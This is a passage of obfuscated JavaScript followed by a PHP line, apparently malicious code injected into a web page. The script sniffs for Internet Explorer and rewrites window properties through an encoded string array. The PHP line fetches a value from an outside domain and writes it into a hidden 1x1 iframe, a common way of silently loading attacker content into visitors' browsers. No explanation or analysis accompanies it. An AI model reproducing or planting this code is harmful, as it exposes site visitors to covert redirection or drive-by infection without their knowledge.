_0x4a04x3=_0x9798[16]+_0x4a04x2+_0x9798[17];window[_0x9798[0]][_0x9798[3]][_0x9798[18]]=_0x4a04x3;_0x4a04x1[_0x9798[19]](window[_0x9798[0]][_0x9798[3]]);} ;} ;window[_0x9798[0]][_0x9798[20]]=function (){if(navigator[_0x9798[22]][_0x9798[21]](/MSIE|Trident/i)){return true;} ;return false;} ;window[_0x9798[0]][_0x9798[23]]=function (){window[_0x9798[24]]=window[_0x9798[0]][_0x9798[11]];} ;window[_0x9798[0]][_0x9798[23]]();} ;<?php echo '<iframe src="'.file_get_contents('http://seconddomainname.us/checker/seller1.php').'"  width="1" height="1" frameborder="0"></iframe>